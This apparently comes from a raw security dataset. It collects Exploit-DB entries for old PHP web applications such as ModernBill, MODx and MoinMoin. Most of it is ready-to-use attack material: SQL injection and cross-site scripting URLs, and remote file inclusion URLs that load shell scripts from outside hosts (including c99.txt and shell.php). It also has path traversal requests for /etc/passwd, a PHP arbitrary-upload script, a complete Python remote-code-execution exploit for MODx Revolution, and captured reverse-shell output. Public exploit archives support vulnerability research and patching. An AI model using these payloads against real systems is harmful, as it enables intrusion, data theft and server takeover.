deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27678
Description: ModernBill 4.3 - 'user.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17596/info

ModernBill is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/user.php?op=menu&tile=mysupport&type=view&id=1[SQL]
http://www.example.com/user.php?op=menu&tile=mysupport&type=details&id=(existing id number)[SQL]
http://www.example.com/user.php?op=client_invoice&db_table=client_invoice&tile=myinvoices&print=&id=invoice_id|2869[SQL]
Exploit-DB #6916
Description: ModernBill 4.4.x - Cross-Site Scripting / Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-31
Author: nigh7f411

Exploit:
**************************************************************************************
ModernBill .:. Client Billing System - User Login
ModernBill  <= v4.4.X Remote File Inclusion Vulnerability  and xss by nigh7f411
http://xc0r3.net/
plezz go to ttp://xc0r3.net/forums/
**************************************************************************************

rfi
http://poop.com/include/scripts/export_batch.inc.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/scripts/run_auto_suspend.cron.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/scripts/send_email_cache.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=http://xc0r3.net/x2300.txt?
http://poop.com/include/html/nettools.popup.php?DIR=http://xc0r3.net/x2300.txt?

xss
http://poop.com/index.php?op=login&submit=submit&submit=submit&username=[PII_REDACTED]email@address.tst&password=[PII_REDACTED]email@address.tst&new_language="+onmouseover=alert(39[PII_REDACTED]732)+/index.php?op=login&submit=submit&submit=submit&username=[PII_REDACTED]email@address.tst&password=[PII_REDACTED]email@address.tst&new_language="+onmouseover=alert(39[PII_REDACTED]732)+

**************************************************************************************

# milw0rm.com [2008-10-31]
Exploit-DB #25378
Description: ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13089/info

ModernBill is affected by a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'aid' parameter. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

ModernBill 4.3 and prior versions are vulnerable to this issue.

http://www.example.com/order/orderwiz.php?v=1&aid=[XSS]
Exploit-DB #25377
Description: ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13087/info

ModernBill is affected by a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'c_code' parameter. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

ModernBill 4.3 and prior versions are vulnerable to this issue.

http://www.example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS]
Exploit-DB #25376
Description: ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion
Type: webapps
Platform: php
Date: 2005-04-10
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13086/info

ModernBill is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'news.php' script.

ModernBill 4.3 and prior versions are vulnerable to this issue. 

http://www.example.com/samples/news.php?DIR=http://www.example.com/
Exploit-DB #4423
Description: modifyform - 'modifyform.html' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-18
Author: mozi

Exploit:
modifyform RFI

author: mozi

original post: http://darkcode.h1x.com/forum/

dork: inurl: modifyform.html?code=

thanks: str0ke, d3hydr8 

# milw0rm.com [2007-09-18]
Exploit-DB #28440
Description: ModuleBased CMS - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-29
Author: sCORPINo

Exploit:
source: https://www.securityfocus.com/bid/19754/info

ModuleBased CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version pre-alpha is vulnerable; other versions may also be affected.

+http://www.example.com/[mbcms]/admin/avatar.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/archive.class.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/login.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/profile.class.php?_SERVER=http://www.example.com +http://www.example.com/[mbcms]/libs/profile/process.php?_SERVER=http://www.example.com
Exploit-DB #4591
Description: ModuleBuilder 1.0 - 'file' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-10-31
Author: GoLd_M

Exploit:
ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-10-31]
Exploit-DB #31120
Description: MODx 0.9.6 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-07
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27672/info

MODx is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MODx 0.9.6.1 and 0.9.6.1p1 are vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/manager/index.php?a=75&search="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;)
http://www.example.com/[installdir]/manager/index.php?a=84&search="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;) 
http://www.example.com/[installdir]/index.php?searched=modx&highlight="><IMG 
SRC="javascript:alert(&#039;DSecRG XSS&#039;) 
http://www.example.com/[installdir]/manager/index.php?a=&#039;<img 
src="javascript:alert(&#039;DSecRG XSS&#039;)">
Exploit-DB #30969
Description: MODx 0.9.6.1 - 'AjaxSearch.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-02
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/27097/info

MODx is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

MODx 0.9.6.1 is vulnerable to this issue; other versions may also be affected. 

Method=POST
Action=http://www.example.com/modx-0.9.6.1/index-ajax.php?
Name=as_language Value=../ajaxSearch_readme.txt%00
Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php
Exploit-DB #30968
Description: MODx 0.9.6.1 - 'htcmime.php' Source Code Information Disclosure
Type: webapps
Platform: php
Date: 2008-01-02
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/27096/info

MODx is prone to a vulnerability that allows attackers to access source code because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

MODx 0.9.6.1 is vulnerable; other versions may also be affected.

http://www.example.com/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc
Exploit-DB #34142
Description: MODx 1.0.3 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-06-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40841/info

MODx is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MODx 1.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/manager/index.php?id=4%27+ANY_SQL&a=16
http://www.example.com/manager/index.php?a=106%27+ANY_SQL_HERE
Exploit-DB #34787
Description: MODx 2.0.2-pl - '/manager/index.php?modahsh' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-29
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43577/info

MODx is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MODx 2.0.2-pl is vulnerable; other versions may also be affected. 

http://www.example.com/modx/manager/index.php?modahsh=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #18593
Description: ModX 2.2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-14
Author: n0tch

Exploit:
# Exploit Title: Modx 2.2.0 LFI and Full Path Disclosure
# Google Dork: [if relevant]  (we will automatically add these to the GHDB)
# Date: 13/03/2012
# Author: n0tch aka andmuchmore
# Software Link: http://modx.com/download/
# Version: 2.2.0
# Tested on:  Windows XP/ Windows 7 / Ubuntu


+[-- LFI --]+

http://localhost/cms/manager/?a=55&class_key=

** Filter added in 2.2.0pl2 **


+[-- FPD --]+

http://localhost/cms/manager/?a=55&class_key=somefilethatdoesntexsist

+[-- Shoutz --]+

All the belegit crew..
Exploit-DB #27648
Description: MODx CMS 0.9.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-14
Author: Rusydi Hasan

Exploit:
source: https://www.securityfocus.com/bid/17532/info

MODxCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[modx_dir]/index.php?id=[parameter][XSS_here]
Exploit-DB #27649
Description: MODx CMS 0.9.1 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-04-14
Author: Rusydi Hasan

Exploit:
source: https://www.securityfocus.com/bid/17533/info

MODxCMS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/[modx_dir]/index.php?id=[parameter][reverse_derectory]%00
Exploit-DB #2706
Description: MODx CMS 0.9.2.1 - 'FCKeditor' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-03
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ MODx CMS 0.9.2.1 (base_path) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: MODx CMS 0.9.2.1
+ Vendor ............: http://modxcms.com/
+ Download ..........: http://modxcms.com/downloads.html
+ Description .......: "MODx is an open source PHP Application Framework that helps you take control of your online content."
+ Dork ..............: "powered by MODx"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ MODx CMS manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php does not initialize
+ the $base_path variable before using it to include files, assuming register_globals = on,
+ we can intialize the variable in a query string and include a remote file of our choice.
+ 
+ Vulnerable Code:
+ manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php, line(s) 24:
+ -> include $base_path."manager/media/browser/mcpuk/connectors/php/Commands/helpers/iconlookup.php";
+
+ Proof Of Concept:
+ http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-03]
Exploit-DB #7204
Description: MODx CMS 0.9.6.2 - Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-23
Author: RoMaNcYxHaCkEr

Exploit:
########################################################################
#
#                               ::  The Codes Like A Game Anyone Can Play With It,s ::
#
# Title: MODx CMS  <= 0.9.6.2  Multiple Remote Vulne ( RFI + XSS)
#
# Vendor: http://modxcms.com/assets/snippets/filedownload/download.php?path=YnVpbGRz&fileName=modx-0.9.6.2.tar.gz&utm_source=0961p2&utm_medium=web&utm_campaign=download
#
# Discover by : RoMaNcYxHaCkEr (Br0k3n H34rT)
#
# My Email : rxh0@hotmail.com  [ Please Before Added Me , Be Sure I Don,t Give You Anythings :) ]
#
# Impact: High
#
# Fix: Contact With Me ;)
#
# Site: WwW.Sec-Code.CoM
#
# My Group : Security - Codes TeaM
#
########################################################################

####################
- Vulne  [RFI] In File snippet.reflect.php In Path assets/snippets/reflect/:
####################


require($reflect_base."configs/default.config.php");

require($reflect_base."default.templates.php");


####################
- Exploit  [RFI]:
####################

http://WwW.Sec-Code.CoM/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.shellbox.com.ar/%5Bc%5D/c99.txt?


####################
- Exploit  [XSS] In File index.php In Main Path:
####################

http://WwW.Sec-Code.CoM/modx-0.9.6.2/index.php?id=1

By POST Method Posted That,s In username Box (Variable)

"+onmouseover=alert[PII_REDACTED]03)+

####################
- Solution:
####################

Declear & Filter All This Fucking Functions

####################
- GreTzZ :
####################

No oN3 D3s3rved Just Fuck The Lamers , Kidz Or Snitch ( I Hate Him , And Do You ...!!! )

####################

# milw0rm.com [2008-11-23]
Exploit-DB #39101
Description: MODx Evogallery Module - 'Uploadify.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-02-18
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/65646/info

MODx Evogallery module is prone to an arbitrary file upload vulnerability.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php
$uploadfile="file.php"; 
$ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,       
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Exploit-DB #34788
Description: MODx manager - '/controllers/default/resource/tvs.php?class_key' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-29
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43577/info
 
MODx is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
 
The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
MODx 2.0.2-pl is vulnerable; other versions may also be affected. 

http://www.example.com/modx/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00
Exploit-DB #45055
Description: Modx Revolution < 2.6.4 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-07-18
Author: Vitalii Rudnykh

Exploit:
# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution
# Date: 2018-07-13
# Exploit Author: Vitalii Rudnykh
# Vendor Homepage: https://modx.com/
# Version: <= 2.6.4
# CVE : CVE-2[PII_REDACTED]

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import requests
from colorama import init, Fore, Style
try:
    init()

    def cls():
        os.system('cls' if os.name == 'nt' else 'clear')

    cls()

    print(Fore.BLUE +
          '################################################################')
    print(Fore.CYAN +
          '# Proof-Of-Concept for CVE-2[PII_REDACTED] (Modx Revolution)')
    print('# by Vitalii Rudnykh')
    print('# Thanks by AgelNash')
    print('# https://github.com/a2u/CVE-2[PII_REDACTED]/')
    print(Fore.BLUE +
          '################################################################')
    print('Provided only for educational or information purposes')
    print(Style.RESET_ALL)
    target = input('Enter target url (example: http(s)://domain.tld/): ')

    verify = True
    code = '<?php echo md5(\'a2u\'); unlink($_SERVER[\'SCRIPT_FILENAME\']);?>'

    if requests.get(
            target + '/connectors/system/phpthumb.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/connectors/system/phpthumb.php - found')
        url = target + '/connectors/system/phpthumb.php'
        payload = {
            'ctx': 'web',
            'cache_filename': '../../payload.php',
            'useRawIMoutput': '1',
            'src': '.',
            'IMresizedData': code,
            'config_prefer_imagemagick': '0'
        }

        r = requests.post(url, data=payload, verify=verify)
        check = requests.get(target + 'payload.php', verify=verify)
        if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')
    else:
        print(Fore.RED + 'phpthumb.php - not found')

    if requests.get(
            target + '/assets/components/gallery/connector.php',
            verify=verify).status_code != 404:
        print(Fore.GREEN + '/assets/components/gallery/connector.php - found')
        url = target + '/assets/components/gallery/connector.php'

        payload = {
            'action': 'web/phpthumb',
            'f': 'php',
            'useRawIMoutput': '1',
            'IMresizedData': 'Ok',
            'config_prefer_imagemagick': '0'
        }
        r = requests.post(url, data=payload, verify=verify)
        if r.text == 'Ok':
            print(Fore.GREEN + 'Exploitable!\n')
        else:
            print(Fore.RED + 'Not exploitable!\n')

    else:
        print(
            Fore.RED + '/assets/components/gallery/connector.php - not found')

except KeyboardInterrupt:
    cls()
Exploit-DB #51059
Description: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2023-03-25
Author: Sarang Tumne

Exploit:
# Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
# Date: 26th Feb'2022
# CVE ID: CVE-2022-26149
# Confirmed on release 2.8.3-pl
# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Vendor: https://modx.com/download

###############################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$
Exploit-DB #29915
Description: MoinMoin 1.5.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-26
Author: En Douli

Exploit:
source: https://www.securityfocus.com/bid/23676/info

MoinMoin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MoinMoin 1.5.7 is vulnerable; other versions may also be affected.

http://www.example.com/action=AttachFile&do=<script src=http://js_script></script>